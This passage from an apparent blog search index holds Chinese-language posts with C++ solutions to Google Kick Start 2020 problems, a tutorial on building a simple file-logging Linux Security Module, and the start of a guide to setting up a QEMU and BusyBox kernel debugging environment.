INF; for (i64 i = 0; i < V; ++i) { r = min(stone_cost[0][i], r); } if (r >= (i64)1e12) { r = -1; } cout << "Case #" << which << ": " << r << endl;}int main() { ios::sync_with_stdio(false); cin.tie(nullptr); i64 T; cin >> T; for (i64 i = 1; i <= T; ++i) { solve(i); } return 0;}","link":"/2021/07/19/Kick-Start-Round-E-2020%E8%A7%A3%E9%A2%98%E8%AE%B0%E5%BD%95/"},{"title":"Kick Start Round G 2020解题记录","text":"Kick_Start解题思路注意到KICK和START之间没有重复字母,因此可以维护一个计数器,遇到KICK的时候增加计数器,遇到START的时候累加计数器的值(即当前的START可以与X个KICK组合)。 但是这里需要注意的是KICK首尾是相连的,因此可以出现KICKICKSTART的情况,该情况的输出是2。 12345678910111213141516171819202122232425262728293031323334353637#include <cstdio>#include <iostream>#include <string>#include <cinttypes>using namespace std;uint64_t cal(string &s) { uint64_t sum = 0; int kick_num = 0; for (int i = 0; i < s.size(); ++i) { if (s.substr(i, 4) == "KICK") { ++kick_num; } else if (s.substr(i, 5) == "START") { sum += kick_num; } } return sum;}int main() { int T; scanf("%d", &T); for (int i = 1; i <= T; ++i) { string s; cin >> s; printf("Case #%d: %" PRIu64"\\n", i, cal(s)); } return 0;} Maximum Coins解题思路由于Mike只能向左上或者右下移动,并且不能走重复的格子,那么很容易想到取得最多硬币的方式必然是从左上角到右下角。 维护一个主对角线数组(从0开始计算),对于方阵来说,对角线的数量为$N \\times 2 - 1$,不难推断出每个点$(i, j)$所属的主对角线下标为$N - 1 - i + j$。 12345678910111213141516171819202122232425262728293031323334353637383940#include <cstdio>#include <iostream>#include <string>#include <cinttypes>#include <vector>using namespace std;uint64_t cal(int N) { uint64_t maxCoins = 0; int i = 0; vector<uint64_t> diag(N * 2 - 1, 0); for (int j = 0; j < N; ++j) { for (int k = 0; k < N; ++k) { cin >> i; diag[N - 1 - j + k] += i; } } for (const uint64_t &item : diag) { maxCoins = maxCoins > item? maxCoins : item; } return maxCoins;}int main() { int T, N; scanf("%d", &T); for (int i = 1; i <= T; ++i) { cin >> N; printf("Case #%d: %" PRIu64"\\n", i, cal(N)); } return 0;} Combination Lock解题思路这里有一个结论:最小移动步数的所有可能中,必然有转轮初值中的数字。具体证明过程可以参照ANALYSIS部分。 从我个人的理解角度来说,这个结论可以类比中位数。如果这不是转轮,而是直角坐标系,那么将不同点移动至同一条水平线上的话,水平线的最优位置必然是所有纵坐标的中位数。但是对于转轮来说,首尾联通就导致了无法直接求取这个中位数。 因此可以尝试所有的初值作为那个“中位数”。 对于W较大的情况,需要考虑进一步的优化,来找出一个快速计算步数的方式。对于$1 \\leqslant k < l \\leqslant i$,如果$X_i - X_k < N - X_i + X_k$(即$k$的两条路径中,$k \\rightarrow i$会更近),那么必然有$X_i - X_l < N - X_i + X_l$(因为$k$的最近路径会经过$l$);反之,如果$N - X_i + X_l < X_i - X_l$(即对于$l$而言,$l \\rightarrow 1 \\rightarrow N \\rightarrow i$会更近),那么必然有$N - X_i + X_k < X_i - X_k$(因为对于$l$的最近路径会经过$k$)。 假定找到了点$p$,其满足:$$\\begin{cases} & X_i - X_q < N - X_i + X_q, p \\leqslant q \\leqslant i \\ & N - X_i + X_r < X_i - X_r, 1 \\leqslant r < p\\end{cases}$$那么对于每一个$q$的移动距离必然为$X_i - X_q$,其和为$(i - p + 1) \\times X_i - \\sum{ X_q}$。此处的$\\sum{ X_q}$可以用一个前缀和数组求区间和$(p,i)$计算。 对于每一个$r$的移动距离为$N - X_i + X_r$,其和为$(p - 1) \\times (N - X_i) + \\sum{X_r}$。此处的$\\sum{ X_r}$可以用区间和$(1, p - 1)$计算。 上述仅是比目标值$i$小数字的情况,大于的情况也是类似的。 最后对于整体而言,必然存在两个分位点$x$和$y$,$1 \\leqslant x \\leqslant i < y \\leqslant W$,然后根据上述结论进行计算。 注意:写二分查找时,需要注意下标计算,不要遗漏可能的解。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115#include <cstdio>#include <iostream>#include <cinttypes>#include <vector>#include <algorithm>using namespace std;class Solution {public: Solution() { cin >> W >> N; wheels.resize(W + 1); preSum.resize(W + 1, 0); for (int i = 1; i <= W; ++i) { cin >> wheels[i]; } sort(wheels.begin() + 1, wheels.end()); for (int i = 1; i <= W; ++i) { preSum[i] = preSum[i - 1] + wheels[i]; } } uint64_t solve() { uint64_t minSteps = UINT64_MAX; uint64_t left = 0; uint64_t right = 0; for (int i = 1; i <= W; ++i) { int lp = binarySearch(i, true); int rp = binarySearch(i, false); left = (i - lp + 1) * wheels[i] - getSum(lp, i) + (lp - 1) * (N - wheels[i]) + getSum(1, lp - 1); right = getSum(i, rp) - (rp - i + 1) * wheels[i] + (W - rp) * (N + wheels[i]) - getSum(rp + 1, W); minSteps = min(minSteps, left + right); } return minSteps; }private: vector<uint64_t> wheels; vector<uint64_t> preSum; int W; int N; uint64_t getSum(int i, int j) { return i <= j ? preSum[j] - preSum[i - 1] : 0; } int binarySearch(int point, bool updown) { // [1, point] // updown == true => 1 <= x <= point,这种情况下找到的是满足条件的最左的点 // updown == false => point < y <= W,这种情况下找到的是满足条件的最右的点 if (updown) { int l = 1; int r = point; while (l <= r) { int mid = l + ((r - l) >> 1); if (wheels[point] - wheels[mid] <= N - wheels[point] + wheels[mid]) { if (mid == 1 || wheels[point] - wheels[mid - 1] > N - wheels[point] + wheels[mid - 1]) { return mid; } else { r = mid - 1; } } else { l = mid + 1; } } return l; } else { int l = point; int r = W; while (l <= r) { int mid = l + ((r - l) >> 1); if (wheels[mid] - wheels[point] > N - wheels[mid] + wheels[point]) { r = mid - 1; } else { if (mid == W || wheels[mid + 1] - wheels[point] > N - wheels[mid + 1] + wheels[point]) { return mid; } else { l = mid + 1; } } } return l; } }};int main() { int T; scanf("%d", &T); for (int i = 1; i <= T; ++i) { Solution A; printf("Case #%d: %" PRIu64"\\n", i, A.solve()); } return 0;} Merge Cards解题思路 首先这道题存在一个疑问:比如$[1, 2, 3, 4]$四个数字,能够得到的最终结果有{9, 10, 11, 14, 10, 16}。这其中重复的结果是否要考虑,即是计算$(9 + 10 + 11 + 14 + 10 + 16) / 6$还是计算$(9 + 10 + 11 + 14 + 16) / 5$。 这个问题可以通过观察第二个测试样例[19 3 78 2 31]得知,如果是前者,则结果为352.33333333;如果是后者,则结果为371.2857143。 可以观察到,其最后一轮的得分必然是最后的两张牌的组合得分。因为仅能合并相邻的牌,所以最后一次的组合必然是$$[A_1 + A_2 + \\cdots + A_i, A_{i + 1} + A_{i + 2} + \\cdots + A_n] \\text{, 其中} 2 \\leqslant i \\leqslant n - 1$$那么最后的一轮得分的期望也就可以由上述子数组的所有可能情况的算术平均值得到。同理每一轮的得分也可以得到一个类似的数学期望,根据数学期望的性质,最后总得分的期望值必然等于每轮的得分期望之和。 因此可以设$dp[i][j]$代表区间$[i, j]$内的总得分期望,也即最终结果为$dp[0][n - 1]$。 考虑数组$[2, 1, 10]$,易知其$dp[0][1] = 3, dp[1][2] = 11$,而$dp[0][2] = \\frac{dp[0][0] + dp[1][2] + dp[0][1] + dp[2][2]}{2} + \\frac{13}{1} $。 考虑数组$[1, 2, 3, 4]$,其根据上述的计算过程,可得: $$\\begin{equation}\\begin{split}dp[0][3] &= \\frac{dp[0][0] + dp[1][3] + dp[0][1] + dp[2][3] + dp[0][2] + dp[3][3]}{3} + \\frac{10 + 10 + 10}{3} \\\\&= \\frac{0 + 15 + 3 + 7 + 10 + 0}{3} + 10 \\\\&= 21.66667\\end{split}\\end{equation}$$因此得出状态转移方程: $$dp[i][j] = \\frac{\\sum_{i}^{j} dp[i][k] + dp[k][j]}{j - i} + \\sum_{i}^{j}A_k$$ 此外,为了避免求和的数字过大,使用平均值更新方程 $$\\bar{x}{n+1} = \\frac{\\bar{x}{n} \\cdot n + x_{n+1}}{n+1} =\\bar{x}{n} + \\frac{x{n+1} - \\bar{x}_{n}}{n+1}$$ 该方法仅通过了前两个测试集,第三个测试集TLE了,还需要继续优化。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include <iostream>#include <vector>#include <algorithm>using namespace std;double cal(int N) { vector<int> nums(N); vector<long long> pre(N + 1, 0); // 相较于nums整体右移了一个下标 vector<vector<double>> dp(N, vector<double>(N, 0.0)); for (int i = 0; i < N; ++i) { cin >> nums[i]; pre[i + 1] = pre[i] + nums[i]; } for (int dist = 2; dist <= N; ++dist) { for (int i = 0, j = i + dist - 1; j < N; ++i, ++j) { double avg = 0; for (int k = i, count = 0; k < j; ++k, ++count) { avg = avg + (dp[i][k] + dp[k + 1][j] - avg) / (count + 1); } dp[i][j] = avg + (pre[j + 1] - pre[i]); } } return dp[0][N - 1];}int main() { int T, N; cin >> T; cout.precision(7); cout.setf(ios::fixed); for (int i = 1; i <= T; ++i) { cin >> N; cout << "Case #" << i << ": " << cal(N) << endl; } return 0;} 优化上述解法,本质上是在枚举最后一轮的所有可能,但是发生了超时。经过分析计算过程可以发现,如果不更换解法,那么仅有枚举$k$的部分是可以被优化的。$$\\begin{equation}\\begin{split}dp[i][j] &= \\frac{\\sum_{i}^{j} dp[i][k] + dp[k][j]}{j - i} + \\sum_{i}^{j}A_k \\\\&= \\frac{\\sum_{i}^{j}dp[i][k]}{j - i} + \\frac{\\sum_{i}^{j}dp[k + 1][j]}{j - i} + \\sum_{i}^{j}A_k \\\\&= \\frac{begin[i]}{j - i} + \\frac{end[j]}{j - i} + \\sum_{i}^{j}A_k\\end{split}\\end{equation}$$维护两个数组$begin[i]$和$end[j]$,来提前计算出需要枚举$k$得到的值。这两个数组可以在计算$dp[i][j]$时,一并更新。 1234567891011121314151617181920212223242526272829303132333435363738394041424344#include <iostream>#include <vector>using namespace std;double cal(int N) { vector<int> nums(N); vector<long long> pre(N + 1, 0); // 相较于nums整体右移了一个下标 vector<vector<double>> dp(N, vector<double>(N, 0.0)); vector<double> begin(N, 0.0), end(N, 0.0); for (int i = 0; i < N; ++i) { cin >> nums[i]; pre[i + 1] = pre[i] + nums[i]; } for (int dist = 2; dist <= N; ++dist) { for (int i = 0, j = i + dist - 1; j < N; ++i, ++j) { dp[i][j] = (begin[i] + end[j]) / (dist - 1) + (double)(pre[j + 1] - pre[i]); begin[i] += dp[i][j]; end[j] += dp[i][j]; } } return dp[0][N - 1];}int main() { int T, N; cin >> T; cout.precision(7); cout.setf(ios::fixed); for (int i = 1; i <= T; ++i) { cin >> N; cout << "Case #" << i << ": " << cal(N) << endl; } return 0;} 其他解法解法来源:https://www.acwing.com/file_system/file/content/whole/index/content/1383351/ 123456789101112double solve(){ double res = 0; for (int i = 0; i + 1 < n; ++ i){ for (int j = 0; j <= i; ++ j){ res += 1. / (i - j + 1) * A[j]; //贡献系数取决于A[i]到A[j]的距离,越靠近贡献越大,最近的最大1,然后1/2, 1/4... 即调和级数求和 } for (int j = i + 1; j < n; ++ j){ res += 1. / (j - i) * A[j]; } } return res;}","link":"/2021/03/15/Kick-Start-Round-G-2020%E8%A7%A3%E9%A2%98%E8%AE%B0%E5%BD%95/"},{"title":"Kick Start Round H 2020解题记录","text":"Retype题目描述题目链接:https://codingcompetitions.withgoogle.com/kickstart/round/000000000019ff49/000000000043adc7#problem 解题思路这题比较简单,想要在当前关执行任何操作(进入下一层、返回上一层、退出、重开游戏)都需要花费1min的时间。 因此仅需要直接计算,重开和返回到k层取剑两种情况所需花费的总时间即可。 1234567891011121314151617181920212223#include <cstdio>using namespace std;int cal(int n, int k, int s) { int go_back = 2 * (k - s) + n; int restart = n + k; return go_back < restart? go_back : restart;}int main() { int T, N, S, K; scanf("%d", &T); for (int i = 0; i < T; ++i) { scanf("%d%d%d", &N, &K, &S); printf("Case #%d: %d\\n", i + 1, cal(N, K, S)); } return 0;} Boring Numbers题目描述题目链接:https://codingcompetitions.withgoogle.com/kickstart/round/000000000019ff49/000000000043b0c6 解题思路很容易发现,奇偶各有5个,也就是说对于n位数而言,区间$[1, 10 ^ {\\left (n + 1 \\right)} )$内满足boring number的数字有$5 ^ n$个。 然后对于前缀,如果前缀中存在不满足的数字,那么后续也就没必要继续计算了,如1334,仅需考虑$[1, 1299]$或者说$[1, 1300]$的情况。 最后对于Test Set 2的数字,没有必要进行暴力计算,利用求$[1, L - 1]$和$[1, R]$两个区间的数量来计算$[L, R]$。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778#include <cstdio>#include <vector>#include <string>using namespace std;class Solution {public: Solution() { // even - 0 2 4 6 8 // odd - 1 3 5 7 9 // 1 2 3 4 5 memo.resize(20, 1); pre.resize(20, 0); for (int i = 1; i < 20; ++i) { memo[i] = memo[i - 1] * 5; } for (int i = 1; i < 20; ++i) { pre[i] = pre[i - 1] + memo[i]; } } long long solve(long long l, long long r) { return cal(r) - cal(l - 1); }private: vector<long long> memo; // 存储i位能得到的boring numbers的数量 vector<long long> pre; // 存储[1, 9], [1, 99], [1, 999]...区间内的boring numbers的数量 // 0 1 2 3 4 5 6 7 8 9 vector<int> a = {0, 0, 1, 1, 2 ,2 ,3 ,3 ,4, 4}; // 某高位与下标满足boring number时,某高位可选数字的数量 // 最高位的位置一定是1,因此如果某次高位的值是偶数,且满足boring number, // 那么意味着它可以选择0,也即0不会出现在最高位 vector<int> b = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5}; // 某高位与下标不满足boring number时,某高位可选数字的数量 long long cal(long long n) { string s = to_string(n); int size = s.size(); long long res = pre[size - 1]; for (int i = 1; i <= size; ++i) { int num = s[i - 1] - '0'; if (num % 2 == i % 2) { res += memo[size - i] * a[num]; if (i == size) { // 参照a数组可以发现,其计算并未考虑自身的值, // 因此对于最低位来说,缺少了对自身满足的计算,因此补上1 ++res; } } else { res += memo[size - i] * b[num]; break; } } return res; }};int main() { int T; scanf("%d", &T); long long L, R; Solution A; for (int i = 1; i <= T; ++i) { scanf("%lld%lld", &L, &R); printf("Case #%d: %lld\\n", i, A.solve(L, R)); } return 0;} Rugby题目描述题目链接:https://codingcompetitions.withgoogle.com/kickstart/round/000000000019ff49/000000000043b027#problem 解题思路首先按照移动规则,很容易得知,水平移动和垂直移动是分开计算的,因此不需要将X与Y放在一起存储。 然后先观察Y,不难论证,水平线的位置应该在中位数上。但是对于X由于需要满足相邻的点距离1,不能直接采取Y取中位数的做法。因此需要先进行$X_i - K_i$的处理,$K_i$代表$X_i$左侧的player的数量。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#include <cstdio>#include <vector>#include <algorithm>#include <cinttypes>using namespace std;int64_t SolveX (vector<int>& x_list, int N) { int64_t total = 0; sort(x_list.begin(), x_list.end()); for (int i = 0; i < N; ++i) { // 已知了所有点的相对位置,可以求出相较于自己最终位置的相对坐标 // 这样就将X转换为了Y的处理方式,找到中位数,将所有的修改后的X归于同一点 x_list[i] -= i; } // 取出这些差值的中位数 sort(x_list.begin(), x_list.end()); for (int i = 0; i < N; ++i) { total += abs(x_list[i] - x_list[N / 2]); } return total;}int64_t SolveY (vector<int>& y_list, int N) { int64_t total = 0; sort(y_list.begin(), y_list.end()); for (int i = 0; i < N; ++i) { total += abs(y_list[i] - y_list[N / 2]); } return total;}int main() { int T, N, X, Y; scanf("%d", &T); for (int i = 1; i <= T; ++i) { scanf("%d", &N); // 因为x与y是分开计算的,因此不需要一起处理 vector<int> x_list(N); vector<int> y_list(N); for (int j = 0; j < N; ++j) { scanf("%d%d", &X, &Y); x_list[j] = X; y_list[j] = Y; } printf("Case #%d: %" PRId64"\\n", i, SolveX(x_list, N) + SolveY(y_list, N)); } return 0;} Friend题目描述题目链接:https://codingcompetitions.withgoogle.com/kickstart/round/000000000019ff49/000000000043aee7 解题思路这道题的主要难点在于构建图。如果使用名字作为点,那么边的数量会非常大。因此可以考虑使用字母作为点。如果一个人的名字为LIZZIE,那么其与名字中带“L、I、Z、E“的均存在连线。因此用字母替代的方式可行。这里图矩阵的含义就代表着graph[i][j] = 1,名字带i的与名字带j的之间存在1个名字使得他们联通。 然后在建好图之后,很明显是一个求任意两点间的最短距离的问题,那么就可以使用Floyd算法求解。 这道题有一个点需要注意:用在Floyd中标记不可达的无穷大,不能选择INT_MAX。因为该值在计算的时候会产生溢出,就会导致在更新最短距离时,INT_MAX溢出为负的值会成为最小值。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889#include <cstdio>#include <vector>#include <algorithm>#include <string>#include <iostream>#define INF 0x3f3f3f3fusing namespace std;class Solution {public: Solution(int N) { graph.resize(26, vector<int>(26, INF)); names.resize(N + 1); string s; for (int i = 1; i <= N; ++i) { cin >> s; names[i] = s; for (int j = 0; j < s.size(); ++j) { for (int k = j + 1; k < s.size(); ++k) { if (s[j] != s[k]) { graph[s[j] - 'A'][s[k] - 'A'] = 1; graph[s[k] - 'A'][s[j] - 'A'] = 1; } } } } floyd(); } int solve(int x, int y) { int min_dist = INF; for (char cx : names[x]) { for (char cy : names[y]) { if (cx == cy) { return 2; } min_dist = min(min_dist, graph[cx - 'A'][cy - 'A'] + 2); } } return min_dist == INF? -1 : min_dist; } private: int n; vector<vector<int>> graph; vector<string> names; void floyd() { for (int k = 0; k < 26; k++) { for (int i = 0; i < 26; i++) { for (int j = 0; j < 26; j++) { graph[i][j] = min(graph[i][j], graph[i][k] + graph[k][j]); } } } } };int main() { int T, N, Q, P1, P2; scanf("%d", &T); for (int i = 1; i <= T; ++i) { scanf("%d%d", &N, &Q); getchar(); // 读取换行符 Solution A(N); printf("Case #%d:", i); for (int j = 0; j < Q; ++j) { scanf("%d%d", &P1, &P2); printf(" %d", A.solve(P1, P2)); } printf("\\n"); } return 0;}","link":"/2021/03/11/Kick-Start-Round-H-2020%E8%A7%A3%E9%A2%98%E8%AE%B0%E5%BD%95/"},{"title":"LSM安全模块开发","text":"内核版本:5.4.120 LSM 安全模块的开发主要步骤 明确需要的hook(所有的hook都定义在include/linux/lsm_hooks.h中) 编写hook处理函数(具体来说,hook是一个函数指针,我们要做的就是编写具体的处理函数) 关联对应hook到上述的hook处理函数,并添加到security_hook_list结构体中。(将这个hook函数指针指向上述的处理函数) 注册添加了hook处理函数的security_hook_list结构体 将指定的安全模块添加到LSM框架中 内核代码整体结构中的必要修改 在security目录下新建自己的模块主目录security/sec_file 在security/sec_file目录下新建三个文件,分别是:sec_file.c( 添加自己的代码逻辑)、Kconfig(构造内核模块的框架)、Makefile(用于内核编译) 修改目录security下的Kconfig、Makefile文件,将我们自己的模块包含进来。 具体代码结构及内容 security/sec_file/sec_file.c 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647#include <linux/lsm_hooks.h>#include <linux/sysctl.h>#include <linux/string.h>/**sec_file_file_permission 函数的就是hook处理函数*在这里需要注意的是 sec_file_file_permission 的函数头需要和 include/linux/lsm_hooks.h 文件*中对应hook的函数头保持一致(在这里就是和 ’file_permission‘ hook的函数头对应) */static int sec_file_file_permission(struct file *file, int mask){ // only deal with the file_name which contain '.' if (strstr(file->f_path.dentry->d_iname, ".")) { printk(KERN_INFO "[+ xiaolei_test] 'file_name' of the access file is:%s\\n",file->f_path.dentry->d_iname); printk(KERN_INFO "[+ xiaolei_test] 'mask' of the access file is:%d\\n",mask); } return 0;}/**LSM_HOOK_INIT 就是将file_permission hook 和 处理函数 sec_file_file_permission 关联起来,并*添加到 security_hook_list 结构体中*/static struct security_hook_list sec_file_hooks[] __lsm_ro_after_init = { LSM_HOOK_INIT(file_permission,sec_file_file_permission),};/** 注册添加了hook处理函数的 security_hook_list 结构体*/static __init int sec_file_init(void){ printk(KERN_ALERT "[+ xiaolei] sec_file: Initializing .!!!!!!]n"); security_add_hooks(sec_file_hooks,ARRAY_SIZE(sec_file_hooks), "sec_file"); return 0;}/**将指定的安全模块添加到LSM框架中*这里需要注意 DEFINE_LSM(sec_file) 中的 sec_file 就是指定在LSM安全框架启动过程中要启用的安全模*块的标识。(LSM安全框架要启动的模块后续在.config 文件需要进行手动修改或者通过 make menuconfig 过程中的配置来进行修改。)*/DEFINE_LSM(sec_file) = { .name = "sec_file", .init = sec_file_init,}; security/sec_file/Kconfig 123456config SECURITY_FILE #安全模块的标识(用于Kconfig中) bool "sec_file - LSM" #make menuconfig 界面中显示的模块名称 depends on SECURITY #依赖模块 default y #该安全模块的默认值 help #help 信息 This our lab LSM module. security/sec_file/Makefile 123obj-$(CONFIG_SECURITY_FILE) := sec_file.o #将对应的模块编译进内核(obj-y 生成 build-in.a)或者编译成第三方模块(obj-m 生成 xxx.ko)sec_file-y := sec_file.o security/Kconfig 12345678910111213141516171819202122232425262728293031323334353637383940414243444546# SPDX-License-Identifier: GPL-2.0-only## Security configuration#menu "Security options"source "security/keys/Kconfig"......source "security/selinux/Kconfig"source "security/uob/Kconfig" source "security/sec_file/Kconfig" # 将sec_file 的Kconfig 包含进来source "security/smack/Kconfig"source "security/tomoyo/Kconfig"source "security/apparmor/Kconfig"source "security/loadpin/Kconfig"source "security/yama/Kconfig"source "security/safesetid/Kconfig"source "security/lockdown/Kconfig"source "security/integrity/Kconfig"......config LSM # 在下面添加对应的模块标识(DEFINE_LSM() 括号中的标识)[这个也可以不添加] string "Ordered list of enabled LSMs" default "lockdown,yama,loadpin,safesetid,integrity,smack,selinux,tomoyo,apparmor,uob,sec_file" if DEFAULT_SECURITY_SMACK default "lockdown,yama,loadpin,safesetid,integrity,apparmor,selinux,smack,tomoyo,uob,sec_file" if DEFAULT_SECURITY_APPARMOR default "lockdown,yama,loadpin,safesetid,integrity,tomoyo,uob,sec_file" if DEFAULT_SECURITY_TOMOYO default "lockdown,yama,loadpin,safesetid,integrity,uob,sec_file" if DEFAULT_SECURITY_DAC default "lockdown,yama,loadpin,safesetid,integrity,uob,sec_file" if DEFAULT_SECURITY_UOB default "lockdown,yama,loadpin,safesetid,integrity,selinux,smack,tomoyo,apparmor,uob,sec_file" help A comma-separated list of LSMs, in initialization order. Any LSMs left off this list will be ignored. This can be controlled at boot with the "lsm=" parameter. If unsure, leave this as the default.source "security/Kconfig.hardening"endmenu security/Makefile 123456789101112131415161718192021222324252627282930313233343536373839404142# SPDX-License-Identifier: GPL-2.0## Makefile for the kernel security code#obj-$(CONFIG_KEYS) += keys/subdir-$(CONFIG_SECURITY_SELINUX) += selinuxsubdir-$(CONFIG_SECURITY_UOB) += uob subdir-$(CONFIG_SECURITY_FILE) += sec_file #添加模块主目录subdir-$(CONFIG_SECURITY_SMACK) += smacksubdir-$(CONFIG_SECURITY_TOMOYO) += tomoyosubdir-$(CONFIG_SECURITY_APPARMOR) += apparmorsubdir-$(CONFIG_SECURITY_YAMA) += yamasubdir-$(CONFIG_SECURITY_LOADPIN) += loadpinsubdir-$(CONFIG_SECURITY_SAFESETID) += safesetidsubdir-$(CONFIG_SECURITY_LOCKDOWN_LSM) += lockdown# always enable default capabilitiesobj-y += commoncap.oobj-$(CONFIG_MMU) += min_addr.o# Object file listsobj-$(CONFIG_SECURITY) += security.oobj-$(CONFIG_SECURITYFS) += inode.oobj-$(CONFIG_SECURITY_UOB) += uob/ obj-$(CONFIG_SECURITY_FILE) += sec_file/ #添加对应的编译文件,与sec_file/Makefile中的obj-$(CONFIG_SECURITY_FILE) := #sec_file.o 相对应(sec_file)obj-$(CONFIG_SECURITY_SELINUX) += selinux/obj-$(CONFIG_SECURITY_SMACK) += smack/obj-$(CONFIG_AUDIT) += lsm_audit.oobj-$(CONFIG_SECURITY_TOMOYO) += tomoyo/obj-$(CONFIG_SECURITY_APPARMOR) += apparmor/obj-$(CONFIG_SECURITY_YAMA) += yama/obj-$(CONFIG_SECURITY_LOADPIN) += loadpin/obj-$(CONFIG_SECURITY_SAFESETID) += safesetid/obj-$(CONFIG_SECURITY_LOCKDOWN_LSM) += lockdown/obj-$(CONFIG_CGROUP_DEVICE) += device_cgroup.o# Object integrity file listssubdir-$(CONFIG_INTEGRITY) += integrityobj-$(CONFIG_INTEGRITY) += integrity/ 修改LSM 安全框架启动的安全模块集合的两种方法: 手动修改linux源代码根目录/.config文件 找到下图中的行,将模块标识手动添加进去(此处的模块标识就是 DEFINE_LSM()中的字符串) 通过make menuconfig来进行配置 在下图配置界面中,进入security options子目录 确保我们的模块被选中开启 在Ordered list of enable LSMs中加上我们的模块标识。 附录内核打印函数介绍 printk 与printf类似,但是printf运行在用户态,printk运行在内核态 1234567891011121314151617格式: printk(fmt, <print message>)其中fmt为printk打印的控制函数,fmt的定义: #define KERN_EMERG "<0>" //紧急事件消息,系统崩溃之前提示,表示系统不可用#define KERN_ALERT "<1>" //报告消息,表示必须立即采取措施#define KERN_CRIT "<2>" //临界条件,通常涉及严重的硬件或软件操作失败#define KERN_ERR "<3>" //错误条件,驱动程序常用KERN_ERR来报告硬件的错误#define KERN_WARNING "<4>" //警告条件,对可能出现问题的情况进行警告#define KERN_NOTICE "<5>" //正常但又重要的条件,用于提醒#define KERN_INFO "<6>" //提示信息,如驱动程序启动时,打印硬件信息#define KERN_DEBUG "<7>" //调试级别的消息 没有指定日志级别的printk语句默认采用的级别是 DEFAULT_ MESSAGE_LOGLEVEL(这个默认级别一般为<4>,即与KERN_WARNING在一个级别上) pr_xxx 是内核中对printk的封装 123456789101112131415161718#define pr_emerg(fmt, ...) \\ printk(KERN_EMERG pr_fmt(fmt), ##__VA_ARGS__)#define pr_alert(fmt, ...) \\ printk(KERN_ALERT pr_fmt(fmt), ##__VA_ARGS__)#define pr_crit(fmt, ...) \\ printk(KERN_CRIT pr_fmt(fmt), ##__VA_ARGS__)#define pr_err(fmt, ...) \\ printk(KERN_ERR pr_fmt(fmt), ##__VA_ARGS__)#define pr_warning(fmt, ...) \\ printk(KERN_WARNING pr_fmt(fmt), ##__VA_ARGS__)#define pr_notice(fmt, ...) \\ printk(KERN_NOTICE pr_fmt(fmt), ##__VA_ARGS__)#define pr_info(fmt, ...) \\ printk(KERN_INFO pr_fmt(fmt), ##__VA_ARGS__)#define pr_debug(fmt, ...) \\ printk(KERN_DEBUG pr_fmt(fmt), ##__VA_ARGS__)#define pr_cont(fmt, ...) \\ printk(KERN_CONT fmt, ##__VA_ARGS__) 相关资料 LSM内核源代码分析与测试(一) 学习LSM(Linux security module)之二:编写并运行一个简单的demo LSM: Convert security_initcall() into DEFINE_LSM() Lab 3: Building an LSM Analysis of incomplete LSM framework startup Linux Security Modules框架源码分析","link":"/2021/07/14/LSM%E5%AE%89%E5%85%A8%E6%A8%A1%E5%9D%97%E5%BC%80%E5%8F%91/"},{"title":"Linux内核开发与调试","text":"内核调试环境 主机:Ubuntu 20.04.1 – 5.8.0-59-generic 内核源码:linux-5.4.120 GCC:9.3.0 Arch:x86_64 BusyBox QEMU 在 Ubuntu 20.04 版本下不能直接通过sudo apt install qemu一次性全部安装。 因此需要分包安装,这里安装需要的sudo apt install qemu-system-x86_64。 配置过程具体的可以参照相关资料[1-3],这里简述一下他们的过程。 开启内核 Debug 功能 make menuconfig后选择Kernel hacking --->选项 选择Compile-time checks and compiler options ---> 选中 Compile the kernel with debug info和Provide GDB scripts for kernel debugging两个选项 构建 initramfs 根文件系统 – Busybox 方式这种方式的优点在于建构快速,而且十分轻量;但是最大的问题也在于太过简易,会存在一定的功能缺失,比如通过 QEMU 添加的设备无法识别。 initramfs 的唯一目的是挂载根文件系统。在引导时,引导加载程序将内核和 initramfs 映像加载到内存中并启动内核。内核检查是否存在 initramfs,如果找到,将其挂载为 / 并运行 /init。 这里借助Busybox构建简易的 initramfs 根文件系统。编译Busybox的步骤: 编译选项:make menuconfig —> Settings —> Build static binary (no shared libs) make -j$(nproc) make install 安装完成以后目录下会有一个_install文件夹 根据_install文件夹创建一个initramfs。initramfs文件夹可以在任意目录。 1234567cp -r _install initramfscd initramfsln -s bin/busybox initmkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin},dev,lib,lib64}rm linuxrc 链接的 init 程序首先会访问 etc/inittab 文件 12345678910cd etcecho "::sysinit:/etc/init.d/rcS" > inittabecho "::askfirst:-/bin/sh" >> inittabecho "::restart:/sbin/init" >> inittabecho "::ctrlaltdel:/sbin/reboot" >> inittabecho "::shutdown:/bin/umount -a -r" >> inittabecho "::shutdown:/sbin/swapoff -a" >> inittabchmod +x inittab 然后紧接着编写 inittab 所需的 rcS 文件 12345mkdir init.dcd init.dvim rcSchmod +x rcS rcS内容如下: 1234567#!/bin/shmount procmount -o remount,rw /mount -aclearecho "My Tiny Linux Start :D ......" 由于mount -a命令会自动挂载*/etc/fstab* 文件内的文件系统。因此需要编写 fstab 文件,这里分别挂载常用的四个文件系统。fstab 内容如下: 12345678# /etc/fstabproc /proc proc defaults 0 0sysfs /sys sysfs defaults 0 0devtmpfs /dev devtmpfs defaults 0 0securityfs /sys/kernel/security securityfs rw,relatime 0 0 打包initramfs文件夹 12# 此时位于initramfs文件夹内find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz 构建 initramfs 根文件系统 – rootfs 方式这种方式的优点在于系统结构完整,拥有完整操作系统的使用体验;但是缺点在于修改构建较为复杂。另外,这种方式下,可以检测到 QEMU 挂载的设备。 具体的可以参照相关资料[12],这里简述一下其过程。 首先在http://cdimage.ubuntu.com/cdimage/ubuntu-base/releases/20.04/release/,下载一个 ubuntu 文件系统的 base 包,这里面包含一些基础的目录结构以及文件。 然后创建一个磁盘镜像来装载 base 包中的文件。 1234# 大小可以稍大一些,避免出现空间不足的问题,这里实际创建大小约11G左右dd if=/dev/zero of=rootfs.img bs=10240 count=1M# 对其进行格式化mkfs.ext4 -F -L linuxroot rootfs.img 为了把 base 包放入镜像中,需要将其挂。然后将下载好的 base 包解压到磁盘中。 1234# 